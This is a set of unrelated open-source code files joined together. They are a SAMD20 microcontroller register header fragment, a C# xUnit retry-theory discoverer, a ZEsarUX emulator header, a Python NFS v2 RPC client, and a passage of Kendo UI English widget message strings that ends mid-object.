#define REG_SERCOM4_I2CS_DATA (*(RwReg8 *)0x42001818U) /**< \brief (SERCOM4) I2CS Data */
#define REG_SERCOM4_SPI_CTRLA (*(RwReg *)0x42001800U) /**< \brief (SERCOM4) SPI Control A */
#define REG_SERCOM4_SPI_CTRLB (*(RwReg *)0x42001804U) /**< \brief (SERCOM4) SPI Control B */
#define REG_SERCOM4_SPI_DBGCTRL (*(RwReg8 *)0x42001808U) /**< \brief (SERCOM4) SPI Debug Control */
#define REG_SERCOM4_SPI_BAUD (*(RwReg8 *)0x4200180AU) /**< \brief (SERCOM4) SPI Baud Rate */
#define REG_SERCOM4_SPI_INTENCLR (*(RwReg8 *)0x4200180CU) /**< \brief (SERCOM4) SPI Interrupt Enable Clear */
#define REG_SERCOM4_SPI_INTENSET (*(RwReg8 *)0x4200180DU) /**< \brief (SERCOM4) SPI Interrupt Enable Set */
#define REG_SERCOM4_SPI_INTFLAG (*(RwReg8 *)0x4200180EU) /**< \brief (SERCOM4) SPI Interrupt Flag Status and Clear */
#define REG_SERCOM4_SPI_STATUS (*(RwReg16*)0x42001810U) /**< \brief (SERCOM4) SPI Status */
#define REG_SERCOM4_SPI_ADDR (*(RwReg *)0x42001814U) /**< \brief (SERCOM4) SPI Address */
#define REG_SERCOM4_SPI_DATA (*(RwReg16*)0x42001818U) /**< \brief (SERCOM4) SPI Data */
#define REG_SERCOM4_USART_CTRLA (*(RwReg *)0x42001800U) /**< \brief (SERCOM4) USART Control A */
#define REG_SERCOM4_USART_CTRLB (*(RwReg *)0x42001804U) /**< \brief (SERCOM4) USART Control B */
#define REG_SERCOM4_USART_DBGCTRL (*(RwReg8 *)0x42001808U) /**< \brief (SERCOM4) USART Debug Control */
#define REG_SERCOM4_USART_BAUD (*(RwReg16*)0x4200180AU) /**< \brief (SERCOM4) USART Baud */
#define REG_SERCOM4_USART_INTENCLR (*(RwReg8 *)0x4200180CU) /**< \brief (SERCOM4) USART Interrupt Enable Clear */
#define REG_SERCOM4_USART_INTENSET (*(RwReg8 *)0x4200180DU) /**< \brief (SERCOM4) USART Interrupt Enable Set */
#define REG_SERCOM4_USART_INTFLAG (*(RwReg8 *)0x4200180EU) /**< \brief (SERCOM4) USART Interrupt Flag Status and Clear */
#define REG_SERCOM4_USART_STATUS (*(RwReg16*)0x42001810U) /**< \brief (SERCOM4) USART Status */
#define REG_SERCOM4_USART_DATA (*(RwReg16*)0x42001818U) /**< \brief (SERCOM4) USART Data */
#endif /* (defined(__ASSEMBLY__) || defined(__IAR_SYSTEMS_ASM__)) */
/* ========== Instance parameters for SERCOM4 peripheral ========== */
#define SERCOM4_GCLK_ID_CORE 17
#define SERCOM4_GCLK_ID_SLOW 12
#define SERCOM4_INT_MSB 3
#define SERCOM4_PMSB 3
#endif /* _SAMD20_SERCOM4_INSTANCE_ */
| {
"pile_set_name": "Github"
} |
using System.Collections.Generic;
using Xunit.Abstractions;
using Xunit.Sdk;
namespace Foundatio.Xunit {
public class RetryTheoryDiscoverer : IXunitTestCaseDiscoverer {
readonly IMessageSink diagnosticMessageSink;
public RetryTheoryDiscoverer(IMessageSink diagnosticMessageSink) {
this.diagnosticMessageSink = diagnosticMessageSink;
}
public IEnumerable<IXunitTestCase> Discover(ITestFrameworkDiscoveryOptions discoveryOptions, ITestMethod testMethod, IAttributeInfo factAttribute) {
var maxRetries = factAttribute.GetNamedArgument<int>("MaxRetries");
if (maxRetries < 1)
maxRetries = 3;
yield return new RetryTheoryTestCase(diagnosticMessageSink, discoveryOptions.MethodDisplayOrDefault(), discoveryOptions.MethodDisplayOptionsOrDefault(), testMethod, maxRetries);
}
}
}
| {
"pile_set_name": "Github"
} |
/*
ZEsarUX ZX Second-Emulator And Released for UniX
Copyright (C) 2013 Cesar Hernandez Bano
This file is part of ZEsarUX.
ZEsarUX is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef AUTOSELECTOPTIONS_H
#define AUTOSELECTOPTIONS_H
extern void set_snaptape_fileoptions(char *filename);
extern void set_snaptape_filemachine(char *filename);
extern int tape_options_set_first_message_counter;
extern void delete_tape_options_set_first_message(void);
extern int tape_options_set_second_message_counter;
extern void delete_tape_options_set_second_message(void);
extern int tape_options_set_first_message_counter;
extern int tape_options_set_second_message_counter;
extern char *mostrar_footer_game_name;
extern void autoselect_options_put_footer(void);
extern char *mostrar_footer_second_message;
extern char mostrar_footer_first_message[];
extern char mostrar_footer_first_message_mostrado[];
extern int indice_first_message_mostrado;
extern int indice_second_message_mostrado;
extern void tape_options_corta_a_32(char *s);
extern void put_footer_first_message(char *mensaje);
#define AUTOSELECTOPTIONS_MAX_FOOTER_LENGTH 255
#endif
| {
"pile_set_name": "Github"
} |
# NFS RPC client -- RFC 1094
# XXX This is not yet complete.
# XXX Only GETATTR, SETTTR, LOOKUP and READDIR are supported.
# (See mountclient.py for some hints on how to write RPC clients in
# Python in general)
import rpc
from rpc import UDPClient, TCPClient
from mountclient import FHSIZE, MountPacker, MountUnpacker
NFS_PROGRAM = 100003
NFS_VERSION = 2
# enum stat
NFS_OK = 0
# (...many error values...)
# enum ftype
NFNON = 0
NFREG = 1
NFDIR = 2
NFBLK = 3
NFCHR = 4
NFLNK = 5
class NFSPacker(MountPacker):
def pack_sattrargs(self, sa):
file, attributes = sa
self.pack_fhandle(file)
self.pack_sattr(attributes)
def pack_sattr(self, sa):
mode, uid, gid, size, atime, mtime = sa
self.pack_uint(mode)
self.pack_uint(uid)
self.pack_uint(gid)
self.pack_uint(size)
self.pack_timeval(atime)
self.pack_timeval(mtime)
def pack_diropargs(self, da):
dir, name = da
self.pack_fhandle(dir)
self.pack_string(name)
def pack_readdirargs(self, ra):
dir, cookie, count = ra
self.pack_fhandle(dir)
self.pack_uint(cookie)
self.pack_uint(count)
def pack_timeval(self, tv):
secs, usecs = tv
self.pack_uint(secs)
self.pack_uint(usecs)
class NFSUnpacker(MountUnpacker):
def unpack_readdirres(self):
status = self.unpack_enum()
if status == NFS_OK:
entries = self.unpack_list(self.unpack_entry)
eof = self.unpack_bool()
rest = (entries, eof)
else:
rest = None
return (status, rest)
def unpack_entry(self):
fileid = self.unpack_uint()
name = self.unpack_string()
cookie = self.unpack_uint()
return (fileid, name, cookie)
def unpack_diropres(self):
status = self.unpack_enum()
if status == NFS_OK:
fh = self.unpack_fhandle()
fa = self.unpack_fattr()
rest = (fh, fa)
else:
rest = None
return (status, rest)
def unpack_attrstat(self):
status = self.unpack_enum()
if status == NFS_OK:
attributes = self.unpack_fattr()
else:
attributes = None
return status, attributes
def unpack_fattr(self):
type = self.unpack_enum()
mode = self.unpack_uint()
nlink = self.unpack_uint()
uid = self.unpack_uint()
gid = self.unpack_uint()
size = self.unpack_uint()
blocksize = self.unpack_uint()
rdev = self.unpack_uint()
blocks = self.unpack_uint()
fsid = self.unpack_uint()
fileid = self.unpack_uint()
atime = self.unpack_timeval()
mtime = self.unpack_timeval()
ctime = self.unpack_timeval()
return (type, mode, nlink, uid, gid, size, blocksize, \
rdev, blocks, fsid, fileid, atime, mtime, ctime)
def unpack_timeval(self):
secs = self.unpack_uint()
usecs = self.unpack_uint()
return (secs, usecs)
class NFSClient(UDPClient):
def __init__(self, host):
UDPClient.__init__(self, host, NFS_PROGRAM, NFS_VERSION)
def addpackers(self):
self.packer = NFSPacker()
self.unpacker = NFSUnpacker('')
def mkcred(self):
if self.cred is None:
self.cred = rpc.AUTH_UNIX, rpc.make_auth_unix_default()
return self.cred
def Getattr(self, fh):
return self.make_call(1, fh, \
self.packer.pack_fhandle, \
self.unpacker.unpack_attrstat)
def Setattr(self, sa):
return self.make_call(2, sa, \
self.packer.pack_sattrargs, \
self.unpacker.unpack_attrstat)
# Root() is obsolete
def Lookup(self, da):
return self.make_call(4, da, \
self.packer.pack_diropargs, \
self.unpacker.unpack_diropres)
# ...
def Readdir(self, ra):
return self.make_call(16, ra, \
self.packer.pack_readdirargs, \
self.unpacker.unpack_readdirres)
# Shorthand to get the entire contents of a directory
def Listdir(self, dir):
list = []
ra = (dir, 0, 2000)
while 1:
(status, rest) = self.Readdir(ra)
if status <> NFS_OK:
break
entries, eof = rest
last_cookie = None
for fileid, name, cookie in entries:
list.append((fileid, name))
last_cookie = cookie
if eof or last_cookie is None:
break
ra = (ra[0], last_cookie, ra[2])
return list
def test():
import sys
if sys.argv[1:]: host = sys.argv[1]
else: host = ''
if sys.argv[2:]: filesys = sys.argv[2]
else: filesys = None
from mountclient import UDPMountClient, TCPMountClient
mcl = TCPMountClient(host)
if filesys is None:
list = mcl.Export()
for item in list:
print item
return
sf = mcl.Mnt(filesys)
print sf
fh = sf[1]
if fh:
ncl = NFSClient(host)
attrstat = ncl.Getattr(fh)
print attrstat
list = ncl.Listdir(fh)
for item in list: print item
mcl.Umnt(filesys)
| {
"pile_set_name": "Github"
} |
(function ($, undefined) {
/* FlatColorPicker messages */
if (kendo.ui.FlatColorPicker) {
kendo.ui.FlatColorPicker.prototype.options.messages =
$.extend(true, kendo.ui.FlatColorPicker.prototype.options.messages,{
"apply": "Apply",
"cancel": "Cancel",
"noColor": "no color",
"clearColor": "Clear color"
});
}
/* ColorPicker messages */
if (kendo.ui.ColorPicker) {
kendo.ui.ColorPicker.prototype.options.messages =
$.extend(true, kendo.ui.ColorPicker.prototype.options.messages,{
"apply": "Apply",
"cancel": "Cancel",
"noColor": "no color",
"clearColor": "Clear color"
});
}
/* ColumnMenu messages */
if (kendo.ui.ColumnMenu) {
kendo.ui.ColumnMenu.prototype.options.messages =
$.extend(true, kendo.ui.ColumnMenu.prototype.options.messages,{
"sortAscending": "Sort Ascending",
"sortDescending": "Sort Descending",
"filter": "Filter",
"columns": "Columns",
"columnVisibility": "Column Visibility",
"done": "Done",
"settings": "Column Settings",
"lock": "Lock",
"unlock": "Unlock"
});
}
/* Editor messages */
if (kendo.ui.Editor) {
kendo.ui.Editor.prototype.options.messages =
$.extend(true, kendo.ui.Editor.prototype.options.messages,{
"bold": "Bold",
"italic": "Italic",
"underline": "Underline",
"strikethrough": "Strikethrough",
"superscript": "Superscript",
"subscript": "Subscript",
"justifyCenter": "Center text",
"justifyLeft": "Align text left",
"justifyRight": "Align text right",
"justifyFull": "Justify",
"insertUnorderedList": "Insert unordered list",
"insertOrderedList": "Insert ordered list",
"indent": "Indent",
"outdent": "Outdent",
"createLink": "Insert hyperlink",
"unlink": "Remove hyperlink",
"insertImage": "Insert image",
"insertFile": "Insert file",
"insertHtml": "Insert HTML",
"viewHtml": "View HTML",
"fontName": "Select font family",
"fontNameInherit": "(inherited font)",
"fontSize": "Select font size",
"fontSizeInherit": "(inherited size)",
"formatBlock": "Format",
"formatting": "Format",
"foreColor": "Color",
"backColor": "Background color",
"style": "Styles",
"emptyFolder": "Empty Folder",
"uploadFile": "Upload",
"overflowAnchor": "More tools",
"orderBy": "Arrange by:",
"orderBySize": "Size",
"orderByName": "Name",
"invalidFileType": "The selected file \"{0}\" is not valid. Supported file types are {1}.",
"deleteFile": 'Are you sure you want to delete "{0}"?',
"overwriteFile": 'A file with name "{0}" already exists in the current directory. Do you want to overwrite it?',
"directoryNotFound": "A directory with this name was not found.",
"imageWebAddress": "Web address",
"imageAltText": "Alternate text",
"imageWidth": "Width (px)",
"imageHeight": "Height (px)",
"fileWebAddress": "Web address",
"fileTitle": "Title",
"linkWebAddress": "Web address",
"linkText": "Text",
"linkToolTip": "ToolTip",
"linkOpenInNewWindow": "Open link in new window",
"dialogUpdate": "Update",
"dialogInsert": "Insert",
"dialogButtonSeparator": "or",
"dialogCancel": "Cancel",
"cleanFormatting": "Clean formatting",
"createTable": "Create table",
"addColumnLeft": "Add column on the left",
"addColumnRight": "Add column on the right",
"addRowAbove": "Add row above",
"addRowBelow": "Add row below",
"deleteRow": "Delete row",
"deleteColumn": "Delete column",
"dialogOk": "Ok",
"tableWizard": "Table Wizard",
"tableTab": "Table",
"cellTab": "Cell",
"accessibilityTab": "Accessibility",
"caption": "Caption",
"summary": "Summary",
"width": "Width",
"height": "Height",
"units": "Units",
"cellSpacing": "Cell Spacing",
"cellPadding": "Cell Padding",
"cellMargin": "Cell Margin",
"alignment": "Alignment",
"background": "Background",
"cssClass": "CSS Class",
"id": "ID",
"border": "Border",
"borderStyle": "Border Style",
"collapseBorders": "Collapse borders",
"wrapText": "Wrap text",
"associateCellsWithHeaders": "Associate headers",
"alignLeft": "Align Left",
"alignCenter": "Align Center",
"alignRight": "Align Right",
"alignLeftTop": "Align Left Top",
"alignCenterTop": "Align Center Top",
"alignRightTop": "Align Right Top",
"alignLeftMiddle": "Align Left Middle",
"alignCenterMiddle": "Align Center Middle",
"alignRightMiddle": "Align Right Middle",
"alignLeftBottom": "Align Left Bottom",
"alignCenterBottom": "Align Center Bottom",
"alignRightBottom": "Align Right Bottom",
"alignRemove": "Remove Alignment",
"columns": "Columns",
"rows": "Rows",
"selectAllCells": "Select All Cells",
"headerRows": "Header Rows",
"headerColumns": "Header Columns",
"tableSummaryPlaceholder": "Summary attribute is not HTML5 compatible.",
"associateNone": "None",
"associateScope": "Associate using 'scope' attribute",
"associateIds": "Associate using Ids",
"copyFormat": "Copy format",
"applyFormat": "Apply format"
});
}
/* FileBrowser messages */
if (kendo.ui.FileBrowser) {
kendo.ui.FileBrowser.prototype.options.messages =
$.extend(true, kendo.ui.FileBrowser.prototype.options.messages,{
"uploadFile": "Upload",
"orderBy": "Arrange by",
"orderByName": "Name",
"orderBySize": "Size",
"directoryNotFound": "A directory with this name was not found.",
"emptyFolder": "Empty Folder",
"deleteFile": 'Are you sure you want to delete "{0}"?',
"invalidFileType": "The selected file \"{0}\" is not valid. Supported file types are {1}.",
"overwriteFile": "A file with name \"{0}\" already exists in the current directory. Do you want to overwrite it?",
"dropFilesHere": "drop file here to upload",
"search": "Search"
});
}
/* FilterCell messages */
if (kendo.ui.FilterCell) {
kendo.ui.FilterCell.prototype.options.messages =
$.extend(true, kendo.ui.FilterCell.prototype.options.messages,{
"isTrue": "is true",
"isFalse": "is false",
"filter": "Filter",
"clear": "Clear",
"operator": "Operator"
});
}
/* FilterCell operators */
if (kendo.ui.FilterCell) {
kendo.ui.FilterCell.prototype.options.operators =
$.extend(true, kendo.ui.FilterCell.prototype.options.operators,{
"string": {
"eq": "Is equal to",
"neq": "Is not equal to",
"startswith": "Starts with",
"contains": "Contains",
"doesnotcontain": "Does not contain",
"endswith": "Ends with"
},
"number": {
"eq": "Is equal to",
"neq": "Is not equal to",
"gte": "Is greater than or equal to",
"gt": "Is greater than",
"lte": "Is less than or equal to",
"lt": "Is less than"
},
"date": {
"eq": "Is equal to",
"neq": "Is not equal to",
"gte": "Is after or equal to",
"gt": "Is after",
"lte": "Is before or equal to",
"lt": "Is before"
},
"enums": {
"eq": "Is equal to",
"neq": "Is not equal to"
}
});
}
/* FilterMenu messages */
if (kendo.ui.FilterMenu) {
kendo.ui.FilterMenu.prototype.options.messages =
$.extend(true, kendo.ui.FilterMenu.prototype.options.messages,{
"info": "Show items with value that:",
"title": "Show items with value that",
"isTrue": "is true",
"isFalse": "is false",
"filter": "Filter",
"clear": "Clear",
"and": "And",
"or": "Or",
"selectValue": "-Select value-",
"operator": "Operator",
"value": "Value",
"cancel": "Cancel"
});
}
/* FilterMenu operator messages */
if (kendo.ui.FilterMenu) {
kendo.ui.FilterMenu.prototype.options.operators =
$.extend(true, kendo.ui.FilterMenu.prototype.options.operators,{
"string": {
"eq": "Is equal to",
"neq": "Is not equal to",
"startswith": "Starts with",
"contains": "Contains",
"doesnotcontain": "Does not contain",
"endswith": "Ends with",
"isnull": "Is null",
"isnotnull": "Is not null",
"isempty": "Is empty",
"isnotempty": "Is not empty"
},
"number": {
"eq": "Is equal to",
"neq": "Is not equal to",
"gte": "Is greater than or equal to",
"gt": "Is greater than",
"lte": "Is less than or equal to",
"lt": "Is less than",
"isnull": "Is null",
"isnotnull": "Is not null"
},
"date": {
"eq": "Is equal to",
"neq": "Is not equal to",
"gte": "Is after or equal to",
"gt": "Is after",
"lte": "Is before or equal to",
"lt": "Is before",
"isnull": "Is null",
"isnotnull": "Is not null"
},
"enums": {
"eq": "Is equal to",
"neq": "Is not equal to",
"isnull": "Is null",
"isnotnull": "Is not null"
}
});
}
/* FilterMultiCheck messages */
if (kendo.ui.FilterMultiCheck) {
kendo.ui.FilterMultiCheck.prototype.options.messages =
$.extend(true, kendo.ui.FilterMultiCheck.prototype.options.messages,{
"checkAll": "Select All",
"clear": "Clear",
"filter": "Filter",
"search": "Search"
});
}
/* Gantt messages */
if (kendo.ui.Gantt) {
kendo.ui.Gantt.prototype.options.messages =
$.extend(true, kendo.ui.Gantt.prototype.options.messages,{
"actions": {
"addChild": "Add Child",
"append": "Add Task",
"insertAfter": "Add Below",
"insertBefore": "Add Above",
"pdf": "Export to PDF"
},
"cancel": "Cancel",
"deleteDependencyWindowTitle": "Delete dependency",
"deleteTaskWindowTitle": "Delete task",
"destroy": "Delete",
"editor": {
"assingButton": "Assign",
"editorTitle": "Task",
"end": "End",
"percentComplete": "Complete",
"plannedStart": "Planned Start",
"plannedEnd": "Planned End",
"resources": "Resources",
"resourcesEditorTitle": "Resources",
"resourcesHeader": "Resources",
"start": "Start",
"title": "Title",
"unitsHeader": "Units"
},
"plannedTasks": {
"switchText": "Planned Tasks",
"offsetTooltipAdvanced": "Met deadline earlier",
"offsetTooltipDelay": "Delay",
"seconds": "seconds",
"minutes": "minutes",
"hours": "hours",
"days": "days"
},
"save": "Save",
"views": {
"day": "Day",
"end": "End",
"month": "Month",
"start": "Start",
"week": "Week",
"year": "Year"
}
});
}
/* Grid messages */
if (kendo.ui.Grid) {
kendo.ui.Grid.prototype.options.messages =
$.extend(true, kendo.ui.Grid.prototype.options.messages,{
"commands": {
"cancel": "Cancel changes",
"canceledit": "Cancel",
"create": "Add new record",
"destroy": "Delete",
"edit": "Edit",
"excel": "Export to Excel",
"pdf": "Export to PDF",
"save": "Save changes",
"select": "Select",
"update": "Update"
},
"editable": {
"cancelDelete": "Cancel",
"confirmation": "Are you sure you want to delete this record?",
"confirmDelete": "Delete"
},
"noRecords": "No records available."
});
}
/* Groupable messages */
if (kendo.ui.Groupable) {
kendo.ui.Groupable.prototype.options.messages =
$.extend(true, kendo.ui.Groupable.prototype.options.messages,{
"empty": "Drag a column header and drop it here to group by that column"
});
}
/* NumericTextBox messages */
if (kendo.ui.NumericTextBox) {
kendo.ui.NumericTextBox.prototype.options =
$.extend(true, kendo.ui.NumericTextBox.prototype.options,{
"upArrowText": "Increase value",
"downArrowText": "Decrease value"
});
}
/* Pager messages */
if (kendo.ui.Pager) {
kendo.ui.Pager.prototype.options.messages =
$.extend(true, kendo.ui.Pager.prototype.options.messages,{
"allPages": "All",
"display": "{0} - {1} of {2} items",
"empty": "No items to display",
"page": "Page",
"of": "of {0}",
"itemsPerPage": "items per page",
"first": "Go to the first page",
"previous": "Go to the previous page",
"next": "Go to the next page",
"last": "Go to the last page",
"refresh": "Refresh",
"morePages": "More pages"
});
}
/* TreeListPager messages */
if (kendo.ui.TreeListPager) {
kendo.ui.TreeListPager.prototype.options.messages =
$.extend(true, kendo.ui.TreeListPager.prototype.options.messages,{
"allPages": "All",
"display": "{0} - {1} of {2} items",
"empty": "No items to display",
"page": "Page",
"of": "of {0}",
"itemsPerPage": "items per page",
"first": "Go to the first page",
"previous": "Go to the previous page",
"next": "Go to the next page",
"last": "Go to the last page",
"refresh": "Refresh",
"morePages": "More pages"
});
}
/* PivotGrid messages */
if (kendo.ui.PivotGrid) {
kendo.ui.PivotGrid.prototype.options.messages =
$.extend(true, kendo.ui.PivotGrid.prototype.options.messages,{
"measureFields": "Drop Data Fields Here",
"columnFields": "Drop Column Fields Here",
"rowFields": "Drop Rows Fields Here"
});
}
/* PivotFieldMenu messages */
if (kendo.ui.PivotFieldMenu) {
kendo.ui.PivotFieldMenu.prototype.options.messages =
$.extend(true, kendo.ui.PivotFieldMenu.prototype.options.messages,{
"info": "Show items with value that:",
"filterFields": "Fields Filter",
"filter": "Filter",
"include": "Include Fields...",
"title": "Fields to include",
"clear": "Clear",
"ok": "Ok",
"cancel": "Cancel",
"operators": {
"contains": "Contains",
"doesnotcontain": "Does not contain",
"startswith": "Starts with",
"endswith": "Ends with",
"eq": "Is equal to",
"neq": "Is not equal to"
}
});
}
/* RecurrenceEditor messages */
if (kendo.ui.RecurrenceEditor) {
kendo.ui.RecurrenceEditor.prototype.options.messages =
$.extend(true, kendo.ui.RecurrenceEditor.prototype.options.messages,{
"repeat": "Repeat",
"frequencies": {
"never": "Never",
"hourly": "Hourly",
"daily": "Daily",
"weekly": "Weekly",
"monthly": "Monthly",
"yearly": "Yearly"
},
"hourly": {
"repeatEvery": "Repeat every: ",
"interval": " hour(s)"
},
"daily": {
"repeatEvery": "Repeat every: ",
"interval": " day(s)"
},
"weekly": {
"interval": " week(s)",
"repeatEvery": "Repeat every: ",
"repeatOn": "Repeat on: "
},
"monthly": {
"repeatEvery": "Repeat every: ",
"repeatOn": "Repeat on: ",
"interval": " month(s)",
"day": "Day ",
"date": "Date"
},
"yearly": {
"repeatEvery": "Repeat every: ",
"repeatOn": "Repeat on: ",
"interval": " year(s)",
"of": " of ",
"month": "month",
"day": "day"
},
"end": {
"label": "End:",
"mobileLabel": "Ends",
"never": "Never",
"after": "After ",
"occurrence": " occurrence(s)",
"on": "On "
},
"offsetPositions": {
"first": "first",
"second": "second",
"third": "third",
"fourth": "fourth",
"last": "last"
},
"weekdays": {
"day": "day",
"weekday": "weekday",
"weekend": "weekend day"
}
});
}
/* MobileRecurrenceEditor messages */
if (kendo.ui.MobileRecurrenceEditor) {
kendo.ui.MobileRecurrenceEditor.prototype.options.messages =
$.extend(true, kendo.ui.MobileRecurrenceEditor.prototype.options.messages, kendo.ui.RecurrenceEditor.prototype.options.messages, {
"endTitle": "Repeat ends",
"repeatTitle": "Repeat pattern",
"headerTitle": "Repeat event",
"end": {
"patterns": {
"never": "Never",
"after": "After...",
"on": "On..."
}
},
"monthly": {
"repeatBy": "Repeat by: ",
"dayOfMonth": "Day of the month",
"dayOfWeek": "Day of the week",
"every": "Every"
},
"yearly": {
"repeatBy": "Repeat by: ",
"dayOfMonth": "Day of the month",
"dayOfWeek": "Day of the week",
"every": "Every",
"month": "Month",
"day": "Day"
}
});
}
/* Scheduler messages */
if (kendo.ui.Scheduler) {
kendo.ui.Scheduler.prototype.options.messages =
$.extend(true, kendo.ui.Scheduler.prototype.options.messages,{
"allDay": "all day",
"date": "Date",
"event": "Event",
"time": "Time",
"showFullDay": "Show full day",
"showWorkDay": "Show business hours",
"today": "Today",
"save": "Save",
"cancel": "Cancel",
"destroy": "Delete",
"resetSeries": "Reset Series",
"deleteWindowTitle": "Delete event",
"ariaSlotLabel": "Selected from {0:t} to {1:t}",
"ariaEventLabel": "{0} on {1:D} at {2:t}",
"editable": {
"confirmation": "Are you sure you want to delete this event?"
},
"views": {
"day": "Day",
"week": "Week",
"workWeek": "Work Week",
"agenda": "Agenda",
"month": "Month"
},
"recurrenceMessages": {
"deleteWindowTitle": "Delete Recurring Item",
"resetSeriesWindowTitle": "Reset Series",
"deleteWindowOccurrence": "Delete current occurrence",
"deleteWindowSeries": "Delete the series",
"editWindowTitle": "Edit Recurring Item",
"editWindowOccurrence": "Edit current occurrence",
"editWindowSeries": "Edit the series",
"deleteRecurring": "Do you want to delete only this event occurrence or the whole series?",
"editRecurring": "Do you want to edit only this event occurrence or the whole series?"
},
"editor": {
"title": "Title",
"start": "Start",
"end": "End",
"allDayEvent": "All day event",
"description": "Description",
"repeat": "Repeat",
"timezone": " ",
"startTimezone": "Start timezone",
"endTimezone": "End timezone",
"separateTimezones": "Use separate start and end time zones",
"timezoneEditorTitle": "Timezones",
"timezoneEditorButton": "Time zone",
"timezoneTitle": "Time zones",
"noTimezone": "No timezone",
"editorTitle": "Event"
}
});
}
/* Spreadsheet messages */
if (kendo.spreadsheet && kendo.spreadsheet.messages.borderPalette) {
kendo.spreadsheet.messages.borderPalette =
$.extend(true, kendo.spreadsheet.messages.borderPalette,{
"allBorders": "All borders",
"insideBorders": "Inside borders",
"insideHorizontalBorders": "Inside horizontal borders",
"insideVerticalBorders": "Inside vertical borders",
"outsideBorders": "Outside borders",
"leftBorder": "Left border",
"topBorder": "Top border",
"rightBorder": "Right border",
"bottomBorder": "Bottom border",
"noBorders": "No border",
"reset": "Reset color",
"customColor": "Custom color...",
"apply": "Apply",
"cancel": "Cancel"
});
}
if (kendo.spreadsheet && kendo.spreadsheet.messages.dialogs) {
kendo.spreadsheet.messages.dialogs =
$.extend(true, kendo.spreadsheet.messages.dialogs,{
"apply": "Apply",
"save": "Save",
"cancel": "Cancel",
"remove": "Remove",
"okText": "OK",
"formatCellsDialog": {
"title": "Format",
"categories": {
"number": "Number",
"currency": "Currency",
"date": "Date"
}
},
"fontFamilyDialog": {
"title": "Font"
},
"fontSizeDialog": {
"title": "Font size"
},
"bordersDialog": {
"title": "Borders"
},
"alignmentDialog": {
"title": "Alignment",
"buttons": {
"justtifyLeft": "Align left",
"justifyCenter": "Center",
"justifyRight": "Align right",
"justifyFull": "Justify",
"alignTop": "Align top",
"alignMiddle": "Align middle",
"alignBottom": "Align bottom"
}
},
"mergeDialog": {
"title": "Merge cells",
"buttons": {
"mergeCells": "Merge all",
"mergeHorizontally": "Merge horizontally",
"mergeVertically": "Merge vertically",
"unmerge": "Unmerge"
}
},
"freezeDialog": {
"title": "Freeze panes",
"buttons": {
"freezePanes": "Freeze panes",
"freezeRows": "Freeze rows",
"freezeColumns": "Freeze columns",
"unfreeze": "Unfreeze panes"
}
},
"validationDialog": {
"title": "Data Validation",
"hintMessage": "Please enter a valid {0} value {1}.",
"hintTitle": "Validation {0}",
"criteria": {
"any": "Any value",
"number": "Number",
"text": "Text",
"date": "Date",
"custom": "Custom Formula",
"list": "List"
},
"comparers": {
"greaterThan": "greater than",
"lessThan": "less than",
"between": "between",
"notBetween": "not between",
"equalTo": "equal to",
"notEqualTo": "not equal to",
"greaterThanOrEqualTo": "greater than or equal to",
"lessThanOrEqualTo": "less than or equal to"
},
"comparerMessages": {
"greaterThan": "greater than {0}",
"lessThan": "less than {0}",
"between": "between {0} and {1}",
"notBetween": "not between {0} and {1}",
"equalTo": "equal to {0}",
"notEqualTo": "not equal to {0}",
"greaterThanOrEqualTo": "greater than or equal to {0}",
"lessThanOrEqualTo": "less than or equal to {0}",
"custom": "that satisfies the formula: {0}"
},
"labels": {
"criteria": "Criteria",
"comparer": "Comparer",
"min": "Min",
"max": "Max",
"value": "Value",
"start": "Start",
"end": "End",
"onInvalidData": "On invalid data",
"rejectInput": "Reject input",
"showWarning": "Show warning",
"showHint": "Show hint",
"hintTitle": "Hint title",
"hintMessage": "Hint message",
"ignoreBlank": "Ignore blank"
},
"placeholders": {
"typeTitle": "Type title",
"typeMessage": "Type message"
}
},
"exportAsDialog": {
"title": "Export...",
"labels": {
"fileName": "File name",
"saveAsType": "Save as type",
"exportArea": "Export",
"paperSize": "Paper size",
"margins": "Margins",
"orientation": "Orientation",
"print": "Print",
"guidelines": "Guidelines",
"center": "Center",
"horizontally": "Horizontally",
"vertically": "Vertically"
}
},
"modifyMergedDialog": {
"errorMessage": "Cannot change part of a merged cell."
},
"useKeyboardDialog": {
"title": "Copying and pasting",
"errorMessage": "These actions cannot be invoked through the menu. Please use the keyboard shortcuts instead:",
"labels": {
"forCopy": "for copy",
"forCut": "for cut",
"forPaste": "for paste"
}
},
"unsupportedSelectionDialog": {
"errorMessage": "That action cannot be performed on multiple selection."
}
});
}
if (kendo.spreadsheet && kendo.spreadsheet.messages.filterMenu) {
kendo.spreadsheet.messages.filterMenu =
$.extend(true, kendo.spreadsheet.messages.filterMenu,{
"sortAscending": "Sort range A to Z",
"sortDescending": "Sort range Z to A",
"filterByValue": "Filter by value",
"filterByCondition": "Filter by condition",
"apply": "Apply",
"search": "Search",
"addToCurrent": "Add to current selection",
"clear": "Clear",
"blanks": "(Blanks)",
"operatorNone": "None",
"and": "AND",
"or": "OR",
"operators": {
"string": {
"contains": "Text contains",
"doesnotcontain": "Text does not contain",
"startswith": "Text starts with",
"endswith": "Text ends with"
},
"date": {
"eq": "Date is",
"neq": "Date is not",
"lt": "Date is before",
"gt": "Date is after"
},
"number": {
"eq": "Is equal to",
"neq": "Is not equal to",
"gte": "Is greater than or equal to",
"gt": "Is greater than",
"lte": "Is less than or equal to",
"lt": "Is less than"
}
}
});
}
if (kendo.spreadsheet && kendo.spreadsheet.messages.toolbar) {
kendo.spreadsheet.messages.toolbar =
$.extend(true, kendo.spreadsheet.messages.toolbar,{
"addColumnLeft": "Add column left",
"addColumnRight": "Add column right",
"addRowAbove": "Add row above",
"addRowBelow": "Add row below",
"alignment": "Alignment",
"alignmentButtons": {
"justtifyLeft": "Align left",
"justifyCenter": "Center",
"justifyRight": "Align right",
"justifyFull": "Justify",
"alignTop": "Align top",
"alignMiddle": "Align middle",
"alignBottom": "Align bottom"
},
"backgroundColor": "Background",
"bold": "Bold",
"borders": "Borders",
"colorPicker": {
"reset": "Reset color",
"customColor": "Custom color..."
},
"copy": "Copy",
"cut": "Cut",
"deleteColumn": "Delete column",
"deleteRow": "Delete row",
"excelImport": "Import from Excel...",
"filter": "Filter",
"fontFamily": "Font",
"fontSize": "Font size",
"format": "Custom format...",
"formatTypes": {
"automatic": "Automatic",
